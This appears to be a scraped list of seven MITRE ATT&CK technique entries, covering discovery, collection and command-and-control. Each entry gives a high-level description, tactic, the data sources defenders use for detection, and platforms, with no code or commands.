Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre